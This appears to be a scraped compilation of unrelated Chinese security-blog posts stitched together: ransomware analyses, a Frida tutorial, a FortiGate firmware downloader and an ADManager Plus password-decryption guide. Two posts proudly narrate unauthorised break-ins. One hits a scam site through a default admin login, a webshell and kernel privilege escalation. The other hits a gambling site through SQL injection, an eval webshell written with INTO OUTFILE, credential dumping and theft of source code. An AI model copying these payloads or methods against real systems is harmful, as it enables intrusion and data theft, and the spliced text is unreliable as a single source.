總結cuba組織使用了大量的公開和定制工具，並不斷通過最新的各種技術和方法，包括相複雜的技術和方法（如BYOVD）。預防這種複雜程度的攻擊需要能夠檢測高級威脅並保護安全功能不被禁用的複雜技術，以及有助於手動檢測惡意工件的大規模、持續更新的威脅知識庫。

本文中詳細介紹的樣本表明，對真實網絡攻擊的調查和事件響應，如管理檢測和響應（MDR），是有關惡意策略、技術和程序的最新信息的來源。特別是，在這次調查中，研究人員發現了cuba惡意軟件的新樣本和以前未被發現的樣本，以及表明至少有一些組織成員會說俄語的工件。

HireHackking

確保軟件產品的安全性和可靠性是現代企業面臨的最大挑戰之一。隨著產品的發展，每個新功能都會為潛在的安全漏洞和性能瓶頸打開大門。

動態分析和逆向工程是允許開發人員在應用程序運行時探索其內部工作原理的兩種方法。借助這些見解，開發人員可以識別漏洞並發現潛在的安全問題。

在本文中，您將學習如何使用Frida 動態分析您的應用程序並發現漏洞。我們將根據我們自己的項目經驗向您展示Frida 工具的實際應用示例。本文對於想要確保其產品受到保護的安全研究人員、CTO 和CSO 非常有用。

什麼是動態分析以及為什麼它很重要？動態分析和逆向工程是企業增強產品安全性的兩種重要網絡安全方法。

動態分析允許網絡安全專家評估軟件運行時的行為。這對於：

漏洞檢測——發現潛在漏洞併計劃網絡安全增強，以保護您的產品免受數據洩露

真實世界模擬— 了解您的產品在現實條件下的表現，使您能夠從用戶的角度檢查您的產品，並了解它如何處理敏感數據和關鍵操作

性能優化——除了安全性之外，動態分析還有助於優化應用程序性能，從而幫助您改善產品的用戶體驗並優化基礎設施成本

合規保證——在潛在的違規行為導致合規違規和處罰之前識別它們

動態分析用於逆向工程，即使沒有源代碼或文檔，開發人員也可以剖析軟件並了解其內部工作原理。

在Apriorit，我們專注於逆向工程，並利用它來幫助企業評估和提高其軟件的安全性。這包括保護其免受可能導致重大聲譽和金錢損失的違規、惡意軟件攻擊和數據洩露。

有許多工具可以讓企業進行動態分析和逆向工程。在我們的逆向項目中，我們經常使用Frida。

Frida是什麼？ Frida是一個動態開源檢測工具包，允許開發人員和逆向工程師將JavaScript 代碼注入正在運行的應用程序中。注入使開發人員能夠實時跟踪函數調用、修改函數行為和攔截數據，使其成為動態分析的寶貴工具。

Frida 提供了一套全面的API，可用於與正在運行的應用程序進行交互。

image.png

Frida 的體系結構基於客戶端-服務器模型。 Frida 服務器在目標設備或計算機上運行，而客戶端用於與服務器交互並將JavaScript 代碼注入正在運行的應用程序中。

讓我們看幾個示例，了解您可以使用Frida 執行哪些動態應用程序分析任務。我們將從桌面應用程序開始。

使用Frida 對桌面應用程序進行動態分析Frida 支持Windows、macOS 和Linux，使其成為分析桌面應用程序的可靠選擇，無論它們運行在何種操作系統上。讓我們看看您可以使用Frida 執行的一些任務。

在執行任何動態分析或操作操作之前，我們需要將Frida 注入到我們的桌面應用程序中。這是一個相對簡單的過程：

在目標系統上安裝Frida。

使用命令frida-server -l 0.0.0.0.這將啟動Frida 服務器並使其可供網絡上的其他設備訪問。

將Frida 客戶端附加到目標進程並註入Frida 腳本。

在Windows 桌面應用程序中掛鉤MessageBox為了演示如何使用Frida 掛鉤函數，讓我們考慮在Windows 桌面應用程序中掛鉤MessageBox函數的示例。該函數用於向用戶顯示消息框，使其成為動態分析的絕佳目標。

要使用Frida 掛鉤MessageBox函數，我們首先需要編寫一個Frida 腳本。該腳本將附加到目標進程，找到MessageBox 函數的地址，並使用攔截器掛鉤該函數。這是我們的一個項目中的自定義腳本：

image.png

在此腳本中，我們使用Module.findBaseAddress查找user32.dll 庫的基地址，其中包含MessageBox函數。然後，我們使用findExportByName方法獲取MessageBox函數的地址（對於私有方法，我們可以使用帶有偏移量的add）。最後，我們使用Interceptor.attach來掛鉤MessageBox函數，在調用該函數時將消息記錄到控制台。

要運行此腳本，請將其保存到文件（例如hook_messagebox.js）並使用以下命令運行Frida 客戶端：

image.png

這會將Frida 連接到目標進程並註入腳本。當目標進程調用MessageBox函數時，Frida將攔截該函數並將消息記錄到控制台。

在macOS 桌面應用程序中修改NSURLRequestFrida 在桌面應用程序中的另一個強大功能是實時修改數據。例如，讓我們考慮使用NSURLRequest發出HTTP 請求的macOS 桌面應用程序的情況。我們可以使用Frida 在發送HTTP 請求之前對其進行修改，從而使我們能夠繞過安全措施或修改應用程序的行為。

要使用Frida 修改macOS 桌面應用程序中的NSURLRequest，我們首先需要編寫一個Frida 腳本。該腳本將附加到目標進程，查找NSURLRequest對象的地址，並使用JavaScript 修改其屬性。這是一個例子：

functionmodify_nsurlrequest(){

//FindtheaddressoftheNSURLRequestobject

varrequestPtr=null;

varobjc_msgSend=newNativeFunction(Module.findExportByName('libobjc.A.dylib','objc_msgSend'),'pointer',['pointer','pointer']);

Interceptor.attach(objc_msgSend,{

onEnter:function(args){

varsel=ObjC.selectorAsString(args[1]);

if(sel==='initWithURL:cachePolicy:timeoutInterval:'){

requestPtr=args[0];

}

},

onLeave:function(retval){

if(requestPtr!==null){

varrequest=newObjC.Object(requestPtr);

request.setValue_forHTTPHeaderField_('my-custom-header','X-Custom-Header');

requestPtr=null;

}

}

});

}

//Attachtothetargetprocessandwaitforittostart

Process.enumerateApplications({

onMatch:function(info){

if(info.name==='TargetApp'){

console.log('Attachingto'+info.name+'('+info.pid+')');

//Attachtotheprocessandwaitforitsmainmoduletobeloaded

Process.attach(info.pid,{

onModuleLoaded:function(module){

if(module.name==='TargetApp'){

//Waitforthescriptruntimetobeready

setTimeout(modify_nsurlrequest,0);

}

}

});

}

},

onComplete:function(){

console.log('Failedtofindtargetprocess');

}

});該腳本使用objc_msgSend函數攔截對NSURLRequest類的initWithURL:cachePolicy:timeoutInterval:方法的調用。當調用這個方法時，我們保存初始化的NSURLRequest對象的地址。當該方法返回時，我們創建一個代表NSURLRequest對象的ObjC.Object實例，並根據需要修改其屬性。

接下來，我們使用Process.enumerateApplications按名稱查找目標進程。找到進程後，我們使用Process.attach附加到它並等待其主模塊加載。當主模塊加載時，我們調用setTimeout函數來安排在下一次事件循環迭代期間對修改_nsurlrequest函數的調用，從而為腳本運行時提供完全初始化的機會。

一旦調用了modify_nsurlrequest函數，它將攔截對NSURLRequest初始化方法的調用，並根據需要修改任何初始化的NSURLRequest對象的屬性。

這些只是您可以在桌面應用程序中使用Frida 執行的動態分析任務的幾個示例。現在讓我們看一下Frida 在移動應用程序中的用途。

使用Frida 對移動應用程序進行動態分析動態分析是識別移動應用程序中漏洞的有效方法，因為它使我們能夠實時監控應用程序行為。

Frida 可用於對Android 和iOS 應用程序執行動態分析。借助Frida，我們可以連接正在運行的應用程序並監視其行為，包括函數調用、網絡流量和內存使用。

要使用Frida對應用程序進行動態分析，我們首先需要將應用程序安裝在物理或虛擬設備上。然後，我們可以將Frida 附加到正在運行的進程並開始監視應用程序的行為。

Frida 可用於未root、已root 和越獄的設備。 Frida 官方文檔中詳細描述了安裝。通常，它涉及在目標設備上運行run frida-server 命令並在調試模式下使用USB 連接到目標設備。

讓我們看一些示例，了解如何使用Frida 在移動應用程序上運行動態分析。

繞過根檢測許多開發人員實施root 檢測以防止用戶在root 設備上運行其應用程序。然而，使用Frida 的動態分析可以繞過這個問題。

讓我們看一個使用Frida 繞過Android 應用程序中的root 檢測的示例。在這種情況下，我們假設應用程序正在使用SafetyNet API 來檢查設備是否已獲得root 權限。

為了繞過root 檢測，我們將使用Frida 攔截對SafetyNet API 的調用並修改返回值以指示設備未獲得root 權限。下面是實現此目的的JavaScript 代碼：

image.png

然而，現代移動應用程序和系統通常採用多層安全措施來檢測和防止各種形式的篡改和未經授權的訪問。因此，繞過當代應用程序和系統中的根檢測可能需要更廣泛和復雜的掛鉤技術。

您可以在CodeShare上找到這些技術和實施示例。

篡改API 調用移動應用程序通常使用API 與後端服務器進行通信。通過篡改API 調用，攻擊者可以修改應用程序行為或竊取敏感數據。

我們將在Frida 動態儀器中合乎道德地使用這項技術。篡改API 調用可以幫助您評估應用程序的整體安全性、檢查流量和監控行為。

Frida 允許篡改iOS 應用程序中的API 調用。在本例中，我們假設應用程序正在使用URLSession API 向後端服務器發出請求。

為了篡改API 調用，我們將使用Frida 攔截對URLSession API 的調用並在請求發送到服務器之前修改請求。這是實現此目的的代碼：

image.png

通過篡改API調用，您可以評估應用程序的安全漏洞。在Apriorit，我們使用這種方法來模擬各種攻擊場景，並識別應用程序處理數據、與服務器通信或響應意外輸入的方式中的潛在弱點。

與Frida 進行逆向工程您可以使用Frida 進行逆向工程。它提供了一個動態分析環境，可幫助您檢查應用程序在運行時的行為方式。 Frida 允許我們掛鉤應用程序的執行流程，監視和操作函數調用和參數，並攔截應用程序發送或接收的數據。

在Apriorit，我們使用Frida 執行各種逆向工程任務，例如：

提取加密密鑰

分析網絡流量

跟踪系統調用

識別惡意軟件行為

研究專有協議

分析二進制代碼

還有其他活動，例如使用Frida 進行惡意軟件檢測，允許網絡安全專家對惡意軟件進行逆向工程。

在本指南中，我們使用Android 應用程序作為示例演示前三個任務。 Frida 特別適合Android 平台，而其他工具可能更適合桌面和iOS 平台上的逆向工程任務。

提取加密密鑰Apriorit 安全專家團隊使用Frida 提取應用程序使用的加密密鑰來保護敏感數據。通過連接應用程序的加密函數，我們可以攔截應用程序生成或使用的密鑰並記錄它們以供進一步分析。

以下是使用Frida 從應用程序中提取加密密鑰的腳本示例：

image.png

該腳本掛鉤javax.crypto.KeyGenerator和javax.crypto.Cipher類並攔截它們的函數調用。當KeyGenerator初始化新密鑰時，腳本會記錄密鑰大小並生成密鑰。當使用密鑰初始化Cipher時，腳本會記錄有關密鑰的信息。

分析網絡流量Frida 可用於通過連接網絡功能並攔截應用程序發送或接收的數據來分析應用程序的網絡流量。這對於識別通過網絡傳輸的敏感數據以及了解應用程序如何與外部服務進行通信非常有用。

下面是一個使用Frida 攔截網絡流量的示例腳本：

Java.perform(function(){

varURL=Java.use('java.net.URL');

varHttpURLConnection=Java.use('java.net.HttpURLConnection');

varOutputStreamWriter=Java.use('java.io.OutputStreamWriter');

varBufferedReader=Java.use('java.io.BufferedReader');

//Intercepttherequest

HttpURLConnection.getOutputStream.implementation=function(){

varoutputStream=this.getOutputStream();

varrequestMethod=this.getRequestMethod();

varurl=this.getURL().toString();

//PrintouttherequestmethodandURL

console.log('[+]Intercepted'+requestMethod+'requestto'+url);

//Readtherequestbody

varrequest='';

//GettheInputStreamobject

varinputStream=this.getInputStream();

//CreateanewInputStreamReaderobject

varinputStreamReader=InputStreamReader.$new.overload('java.io.InputStream','java.lang.String')(inputStream,'UTF-8');

//CreateanewBufferedReaderobject

varBufferedReader_instance=BufferedReader.$new.overload('java.io.Reader')(inputStreamReader);

varline='';

while((line=BufferedReader_instance.readLine())!=null){

request+=line;

}

//Printouttherequestbody

console.log('[+]Requestbody:'+request);

//Modifytherequest

if(requestMethod=='POST'){

varmodifiedRequest='param1=value1param2=value2';

console.log('[+]Modifyingrequestbodyto:'+modifiedRequest);

//GettheOutputStreamWriterconstructor

varOutputStreamWriter=Java.use('java.io.OutputStreamWriter');

//GettheCharsetandStandardCharsetsclasses

varCharset=Java.use('java.nio.charset.Charset');

varStandardCharsets=Java.use('java.nio.charset.StandardCharsets');

//GettheOutputStreamobject

varoutputStream=this.getOutputStream();

//GettheUTF-8Charsetobject

varutf8Charset=StandardCharsets.UTF_8;

//CreateanewOutputStreamWriterobject

varoutputStreamWriter=OutputStreamWriter.$new.overload('java.io.OutputStream','java.nio.charset.Charset')(outputStream,utf8Charset);

outputStreamWriter.write(modifiedRequest);

outputStreamWriter.flush();

outputStreamWriter.close();

}

returnoutputStream;

};

//Intercepttheresponse

HttpURLConnection.getInputStream.implementation=function(){

varinputStream=this.getInputStream();

//Readtheresponsebody

varresponse='';

//GettheInputStreamobject

varinputStream=this.getInputStream();

//CreateanewInputStreamReaderobject

varinputStreamReader=InputStreamReader.$new.overload('java.io.InputStream','java.lang.String')(inputStream,'UTF-8');

//CreateanewBufferedReaderobject

varBufferedReader_instance=BufferedReader.$new.overload('java.io.Reader')(inputStreamReader);

varline='';

while((line=BufferedReader_instance.readLine())!=null){

response+=line;

}

//Printouttheresponsebody

console.log('[+]Responsebody:'+response);

returninputStream;

};

});該腳本攔截HTTP 請求和應用程序響應並顯示有關它們的信息，包括：

請求方式

網址

請求正文

響應體

它還演示瞭如何使用

HireHackking
今天朋友突然告诉我，某转买手机被骗了1200块钱，心理一惊，果然不出所料，那我来试试吧。

图片


要来了诈骗网站地址，打开是这种：图片
果断收集一下信息：（由于留言骗子返还朋友钱款，暂时给他留点面子，打点马赛克）
图片查看端口，一猜就是宝塔面板搭建图片开着80，那就访问一下：图片从官网查找客服软件的教程。发现后台路径为：/admin图片直接访问果然发现：图片想也没想，直接admin：123456，没想到的是进去了哈哈哈：图片下一步当然是getshell，找了一圈发现直接可编辑语言配置文件：图片这里使用简单的一句话还给我封了ip丫的，看了一眼竟然用云盾，这骗子还有点安全意识，那只好祭出我的哥斯拉杀器（直接带bypass function的，也好用对不）：图片好家伙，禁用的函数如此之多，那行吧，绕过呗图片文件管理时发现限制目录读取：

图片

直接使用哥斯拉的目录访问绕过：

图片

最后目录浏览时发现php存在多个版本，本人php5提权不太熟悉(哥斯拉不适用哈哈)，看见php7后果断找其他站点：图片访问其他站点都能访问，解析ip都是这个，终于发现一个php7的

图片


终于发现一个php7的，但是linux版本内核很新啊，看来提权是个麻烦

图片

而后不出所料，哥斯拉的函数绕过可执行命令：图片执行后直接获取低权限shell：

图片

是www用户，权限很低。
在目录下还发现了一个杀猪盘工具：框框

图片

可以一键生成诈骗详情链接：
图片

（现在大家知道不要相信qq微信交易的重要性了吧，这种杀猪盘很容易坑人）

最后根据收集到的数据库链接等信息准备进数据库里看一眼，哥斯拉的链接有问题：

图片

于是搭建frp到骗子服务器访问：

图片


信息：图片图片

图片



由于www用户无法写入mysql目录.so文件，无法使用mysql提权。
sudo一直要使用www密码，结果也是无法使用sudo。
有suid位的命令如表，
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/sudo
/usr/bin/crontab
/usr/bin/passwd
/usr/sbin/grub2-set-bootflag
/usr/sbin/unix_chkpwd
/usr/sbin/pam_timestamp_check
/usr/lib/polkit-1/polkit-agent-helper-1最后使用CVE-2018-18955
https://www.freebuf.com/news/197122.html图片最后已将整理完的信息提交朋友和警方，就没再深入。



本文转载自于原文链接：https://xz.aliyun.com/t/9200
https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486388&idx=1&sn=cfc74ce3900b5ae89478bab819ede626&chksm=ce67a12df910283b8bc136f46ebd1d8ea59fcce80bce216bdf075481578c479fefa58973d7cb&scene=21#wechat_redirect
HireHackking

我們會在本文詳細介紹cuba組織的歷史及其攻擊戰術、技術和程序。

cuba勒索軟件組織於2020年末首次被卡巴斯基殺毒軟件發現。當時，還沒有採用“cuba”這個名字，而是被稱為“Tropical Scorpius”。

cuba主要針對美國、加拿大和歐洲的組織。該組織對石油公司、金融服務、政府機構和醫療保健提供者發動了一系列攻擊。

與最近大多數網絡勒索組織一樣，cuba組織對受害者的文件進行加密，並要求贖金以換取解密密鑰。該組織使用複雜的戰術和技術來滲透受害者網絡，例如利用軟件漏洞和社會工程。已知它們使用受攻擊的遠程桌面（RDP）連接進行初始訪問。

cuba組織的確切起源和成員身份目前尚不清楚，儘管一些研究人員認為它可能是另一個臭名昭著的勒索組織Babuk的繼承者。與許多其他同類組織一樣，cuba組織是一家勒索軟件即服務（RaaS）機構，允許其合作夥伴使用勒索軟件和相關基礎設施，以收取一定比例的贖金。

該組織自成立以來已多次更名，先後使用了：

ColdDraw

TropicalScorpius

Fidel

Cuba今年2月，又發現了這個組織的另一個名字——“V Is Vendetta”，這與攻擊者們最喜歡的cuba主題不同，很可能是一個分支機構或附屬公司使用的綽號。該組織與cuba組織有一個明顯的聯繫。這個新發現的組織的網站託管在cuba域：

http[:]//test[.]cuba4ikm4jakjgmkezytyawtdgr2xymvy6nvzgw5cglswg3si76icnqd[.]onion/。

2.png

V IS VENDETTA網站

截止發文時，cuba仍然很活躍。

受害者分析該組織攻擊了世界很多地區的公司，包括零售商、金融和物流服務、政府機構和製造商等。就地理位置而言，大多數受攻擊的公司都位於美國，但在加拿大、歐洲、亞洲和澳大利亞也有少數受害者。

3.png

cuba受害者的地理分佈

勒索軟件cuba勒索軟件是一個沒有外掛庫的單一文件。樣本通常有偽造的編譯時間戳：2020年發現的樣本蓋有2020年6月4日的印章，而最近的樣本卻是1992年6月19日。

cuba勒索模式4.png

勒索模式

就用於向受害者施壓的工具而言，目前存在四種勒索模式。

單一勒索：加密數據並索要贖金。

雙重勒索：除了加密，攻擊者還竊取敏感信息。這是當今勒索軟件組織中最流行的模式。

三重勒索：在雙重勒索的基礎上實施DDoS攻擊。在LockBit組織受到DDoS攻擊後，該模型開始廣泛傳播。在成為攻擊目標後，攻擊者意識到DDoS是一種有效的勒索手段。

第四種模式是最不常見的，威脅最大，但成本也最高。它利用了投資者、股東和客戶中對數據洩露消息新聞的缺乏信任。在這種情況下，沒有必要進行DDoS攻擊。這種模式的例證是最近弗吉尼亞州布魯菲爾德大學(Bluefield University)遭遇的攻擊者攻擊，AvosLocker勒索軟件團伙劫持了學校的緊急廣播系統，向學生和員工發送短信和電子郵件提醒，告知他們的個人數據被盜。攻擊者們敦促不要相信學校的管理層，他們說校方隱瞞了入侵的真實規模，並敦促他們盡快將情況公之於眾。

cuba組織使用經典的雙重勒索模型，用Xsalsa20對稱算法加密數據，用RSA-2048非對稱算法加密密鑰。這被稱為混合加密，一種加密安全的方法，可以防止在沒有密鑰的情況下解密。

cuba勒索軟件示例避免加密具有以下擴展名的文件：exe、dll、sys、ini、lnk、vbm、Cuba，以及以下文件夾：

马云惹不起马云\windows\

马云惹不起马云\programfiles\microsoftoffice\

马云惹不起马云\programfiles(x86)\microsoftoffice\

马云惹不起马云\programfiles\avs\

马云惹不起马云\programfiles(x86)\avs\

马云惹不起马云\$recycle.bin\

马云惹不起马云\boot\

马云惹不起马云\recovery\

马云惹不起马云\systemvolumeinformation\

马云惹不起马云\msocache\

马云惹不起马云\users\allusers\

马云惹不起马云\users\defaultuser\

马云惹不起马云\users\default\

马云惹不起马云\temp\

马云惹不起马云\inetcache\

马云惹不起马云\google\勒索軟件通過搜索和加密%AppData\Microsoft\Windows\Recent\目錄中的Microsoft Office文檔、圖像、檔案和其他文件而不是設備上的所有文件來節省時間。它還終止所有SQL服務以加密任何可用的數據庫。它在本地和網絡共享內部查找數據。

5.png

cuba勒索軟件終止的服務列表

除了加密，該組織還竊取受害者組織內部發現的敏感數據。大多數情況下，他們會盯著以下文件：

马云惹不起马云 財務文件

马云惹不起马云銀行對賬單

马云惹不起马云公司賬戶明細

马云惹不起马云源代碼，如果該公司是軟件開發人員

cuba使用的攻擊工具該組織使用了經典憑據訪問工具，如mimikatz，也採用了自寫應用程序。它利用了受害公司使用的軟件中的漏洞，大多數是已知的漏洞，例如ProxyShell和ProxyLogon組合攻擊Exchange服務器，以及Veeam數據備份和恢復服務中的安全漏洞。

6.png

惡意軟件

Bughatch

Burntcigar

Cobeacon

Hancitor(Chanitor)

Termite

SystemBC

Veeamp

Wedgecut

RomCOMRAT 7.png

工具

Mimikatz

PowerShell

PsExec

RemoteDesktopProtocol 8.png

漏洞

ProxyShell:

CVE-2021-31207

CVE-2021-34473

CVE-2021-34523

ProxyLogon:

CVE-2021-26855

CVE-2021-26857

CVE-2021-26858

CVE-2021-27065

Veeamvulnerabilities:

CVE-2022-26501

CVE-2022-26504

CVE-2022-26500

ZeroLogon:

CVE-2020-1472 9.png

將攻擊武器庫映射到MITRE ATTCK®戰術

利潤攻擊者在勒索通知中提供了比特幣錢包的標識符，這些比特幣錢包的進出款總額超過3600個比特幣，按1個比特幣兌換28624美元的價格換算，價值超過1.03億美元。該團伙擁有眾多錢包，不斷在這些錢包之間轉移資金，並使用比特幣混合器，通過一系列匿名交易發送比特幣的服務，使資金的來源更難追踪。

10.png

部分BTC網絡中交易

樣本分析Host: SRV_STORAGE去年12月19日，研究人員在客戶主機上發現了可疑活動，將其稱之為“SRV_STORAGE”。數據顯示了三個可疑的新文件:

11.png

卡巴斯基SOC發現的可疑事件

對kk65.bat的分析表明，它充當了一個stager，通過啟動rundll32並將komar65庫加載到其中來啟動所有進一步的活動，該庫運行回調函數DLLGetClassObjectGuid。

12.png

.bat文件的內容

讓研究人員看看可疑的DLL內部。

Bughatchkomar65.dll庫也被稱為“Bughatch”，這是Mandiant在一份報告中給出的名字。

首先可疑的是PDB文件的路徑。裡面有個文件夾叫“mosquito”，俄語翻譯為“komar”，它是DDL名稱的一部分，表明該團伙可能包括說俄語的人。

13.png

komar65.dll PDB文件的路徑

當連接到以下兩個地址時，DLL代碼將Mozilla/4.0作為用戶代理：

Com，顯然用於檢查外部連接；

該組織的指揮控制中心，如果初始ping通過，惡意軟件將嘗試回調。

14.png

komar65.dll分析

以上就是在受感染的宿主身上觀察到的活動。在Bughatch成功地與C2服務器建立連接後，它開始收集網絡資源上的數據。

15.png

Bughatch活動

通過查看C2服務器，研究人員發現除了Bughatch之外，這些模塊還擴展了惡意軟件的功能。其中一個從受感染的系統收集信息，並以HTTPPOST請求的形式將其發送回服務器。

16.jpeg

在cubaC2服務器上找到的文件

攻擊者可以將Bughatch視為某種後門，部署在進程內存中，並在Windows API（VirtualAlloc、CreateThread、WaitForSingleObject）的幫助下，在分配的空間內執行shellcode，然後連接到C2並等待進一步的指令。特別是，C2可以發送命令下載進一步的惡意軟件，例如Cobalt Strike Beacon、Metasploit或進一步的Bughatch模塊。

17.png

Bughatch運行流程圖

HireHackking

0x00 前言在之前的文章介紹了Fortigate識別與版本探測的方法，在提取出頁面特徵後，可根據特徵對應到具體版本。為了找到特徵與具體版本的對應關係，這里首要解決的問題是下載固件。

本文將要介紹通過程序實現自動下載固件的方法，分享腳本開發細節。

0x01 簡介本文將要介紹以下內容：

實現原理

實現細節

開源代碼

0x02 實現原理通過Burp Suite分析下載固件的數據格式，進而編寫程序實現自動下載

1.用戶認證使用Cookie作為憑據，格式示例：

微信截图_20230609173002.png

2.下載流程訪問固件下載頁面，如下圖

下载.png

點擊固件對應的HTTPS即可下載固件

通過Burp Suite分析數據包內容，具體流程如下：

訪問頁面https://support.fortinet.com/Download/FirmwareImages.aspx，發送的數據包如下圖

下载 (1).png

其中，ctl04作為變量，不同固件對應的值不同

返回結果實例如下圖

下载 (2).png

返回結果中為實際的下載文件地址

0x03 實現細節這里以7.2.4的下載為例，在程序實現上需要額外考慮以下細節：

1.文件下載對於返回結果需要作簡單的處理，解析後並下載的代碼實例：

微信截图_20230609173629.png

2.需要獲得文件名與下載鏈接的對應關係實際上為文件名同變量ctl的對應關係

訪問上級頁面，抓包如下圖

下载 (3).png

返回結果如下圖

下载 (4).png

從頁面中能夠獲得文件名同變量ctl的對應關係

這裡使用正則匹配，格式化輸出的代碼實例：

11.png

注：

在使用print函數時，\r指定回到行起始位置，flush=True表示刷新輸出

3.加入下載進度條為了便於掌握下載進度，需要加入下載的進度條

參考代碼：https://www.cnblogs.com/Old-Kang/articles/15271067.html

實例代碼：

12.png輸出實例：

微信截图_20230609174024.png

4.下載判斷當下載很多文件時，如果網絡中斷，需要從中斷處的文件名重新下載

這裡加入指定下載位置作為用戶輸入，實例代碼：

13.png

0x04 小結本文介紹了通過程序下載Fortigate固件的方法，後續可對特徵進行提取。

HireHackking

0x00  偶遇一棋牌网站

1、简单的抓包分析一下

图片

图片


2、用户名后边加单引号直接报错了，闭合之后又正常了，稳稳地sql注入一枚。

3、通过测试没有发现任何安全设备，直接上sqlmap。

4、过程就不啰嗦了，直接得到下边数据

current-user:  developer@%
select @@BASEDIR: '/usr/'
select USER(): 'developer@121.x.x.x'
select DATABASE(): 'edc'
select SYSTEM_USER(): 'developer@121.x.x.x'
select @@CHARACTER_SETS_DIR: '/usr/share/mysql/charsets/'
select @@CHARACTER_SET_CLIENT: 'utf8'
select @@DATADIR: '/var/lib/mysql/'
select @@CHARACTER_SET_SERVER: 'latin1'

5、通过一波信息收集，当前用户权限很低，有用的信息少得可怜

6、对目标端口进行扫描,发现端口开了挺多

图片

7、打开80端口没有任何页面

图片

888 端口  是apache默认首页  得到绝对路径 /var/www/html/
9090 端口 是赌博站管理登录地址
9091 端口 是赌博站会员登录地址
图片
图片
8、经过测试，这个两个页面没有可利用的漏洞
0x01  突破点
1、通过对目录进行扫描发现一个报错页面，得到一个注入点还得到一个info.php
图片
图片
2、拿到数据库root权限
图片
db_test  当前数据库
[19:54:48] [INFO] resumed: 'root'@'localhost'
[19:54:48] [INFO] resumed: 'developer'@'localhost'
[19:54:48] [INFO] resumed: 'root'@'127.0.0.1'
[19:54:48] [INFO] resumed: 'syncopy'@'222.xxx.xxx.xxx'
[19:54:48] [INFO] resumed: 'mlh'@'localhost'
[19:54:48] [INFO] resumed: 'developer'@'%'
[19:54:48] [INFO] resumed: 'mlh'@'%'
[19:54:48] [INFO] resumed: 'edc'@'%'
[19:54:48] [INFO] resumed: '6hc_nav'@'%'
图片
0x02  尝试写入shell
1、通过sql语句写入shell却没有成功，只有在支持堆叠查询时，才能执行非查询SQL语句
sqlmap --sql-shell
select "<?php eval($_POST['x']);?>" into outfile "/var/www/html/25u_ft/1.php"
图片
2、换一种方式写入
--file-write "/localhost/shell.php" --file-dest "/var/www/html/25u_ft/test.php"
3、完全写不进去，发现是没有写入权限，只有读取权限
--file-read "/var/www/html/25u_ft/info.php"
4、可以正常读取,尝试读取配置文件,至此走上了一条错误之路
图片
图片
（1）读取了几个配置文件，并没有什么思路
（2）回头去注入管理员的密码，尝试从后台获取shell
-D "10fenft" -T "g_user" -C "g_name,g_password" --dump
图片
（3）成功登录后台
图片
图片
（4）后台简陋的一批，没有上传功能
  0x03  getshell
1、该有的条件都有了就是拿不到shell，很难受。
 2、在各种渠道查询这个ip,突然发现以前有域名解析到这里
图片

3、太好了，域名还可以正常访问，是一个论坛
图片

4、竟然是thinkphp,而且还爆出了绝对路径
5、重复之前的写入操作，一下就成功了，哈哈哈哈
图片
0x04  打包源码
1、直接链接shell
图片

2、权限不高，但是丝毫不影响我打包源码
图片
0x05  总结
发现还要很多同类型的站点

源码放在下边了
https://xzfile.aliyuncs.com/upload/affix/20210513165936-8aadc29a-b3c9-1.rar

转自于原文链接： https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486232&idx=1&sn=301810a7ba60add83cdcb99498de8125&chksm=ce67a181f9102897905ffd677dafeb90087d996cd2e7965300094bd29cba8f68d69f675829be&scene=21#wechat_redirecthttps://xz.aliyun.com/t/9567


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
0x00 前言本文記錄從零開始搭建ADManager Plus漏洞調試環境的細節，介紹數據庫用戶口令的獲取方法。



0x01 簡介本文將要介紹以下內容：



ADManager Plus安裝



ADManager Plus漏洞調試環境配置



數據庫用戶口令獲取



數據庫加密算法



0x02 ADManager Plus安裝1.下載全版本下載地址：https://archives2.manageengine.com/ad-manager/



2.安裝安裝參考：https://www.manageengine.com/products/ad-manager/help/getting_started/installing_admanager_plus.html



3.測試訪問https://localhost:8080



0x03 ADManager Plus漏洞調試環境配置方法同ADAudit Plus漏洞調試環境配置基本類似



1.開啟調試功能(1)定位配置文件



查看java進程的父進程wrapper.exe的進程參數為：'C:\Program Files\ManageEngine\ADManager Plus\bin\Wrapper.exe' -c 'C:\Program Files\ManageEngine\ADManager Plus\bin\\.\conf\wrapper.conf'



這裡需要修改的配置文件為C:\Program Files\ManageEngine\ADManager Plus\conf\wrapper.conf



(2)修改配置文件添加調試參數



找到啟用調試功能的位置：



 1.png將其修改為



 2.png



(3)重新啟動相關進程



關閉進程wrapper.exe和對應的子進程java.exe



在開始菜單依次選擇Stop ADManager Plus和Start ADManager Plus



2.常用jar包位置路徑：C:\Program Files\ManageEngine\ADManager Plus\lib



web功能的實現文件為AdventNetADSMServer.jar和AdventNetADSMClient.jar



3.IDEA設置設置為Remote JVM Debug，遠程調試



0x04 數據庫用戶口令獲取默認配置下，ADManager Plus使用postgresql存儲數據，默認配置了兩個登錄用戶：admanager和postgres



1.用戶admanager的口令獲取配置文件路徑：C:\Program Files\ManageEngine\ADManager Plus\conf\database_params.conf，內容示例：



 3.png 4.png



其中，password被加密，加解密算法位於：C:\Program Files\ManageEngine\ADManager Plus\lib\framework-tools.jar中的com.zoho.framework.utils.crypto-CryptoUtil.class



經過代碼分析，得出以下解密方法：



密鑰固定保存在C:\Program Files\ManageEngine\ADManager Plus\conf\customer-config.xml，內容示例：



 5.png



得到密鑰：CryptTag為o0hV5KhXBIKRH2PAmnCx



根據以上得到的密文28e3e4d73561031fa3a0100ea4bfb3617c7d66b631ff54ca719dd4ca3dcfb3c308605888和密鑰o0hV5KhXBIKRH2PAmnCx，編寫解密程序，代碼如下：



6.png 7.png 8.png 9.png



程序運行後得到解密結果：DFVpXge0NS



拼接出數據庫的連接命令：'C:\Program Files\ManageEngine\ADManager Plus\pgsql\bin\psql' 'host=127.0.0.1 port=33306 dbname=adsm user=admanager password=DFVpXge0NS'



2.用戶postgres的口令默認口令為Stonebraker



0x05 數據庫加密算法1.相關數據庫信息(1)用戶相關的表



 10.png



(2)口令相關的表



 11.png



(3)權限相關的表



 12.png 13.png



2.口令加密算法算法同ADAudit Plus一致，計算密文的測試代碼如下：



 14.png 15.png



計算結果為$2a$12$sdX7S5c11.9vZqC0OOPZQ.9PLFBKubufTqUNyLbom2Ub13d573jhi，同數據庫得到的password項一致



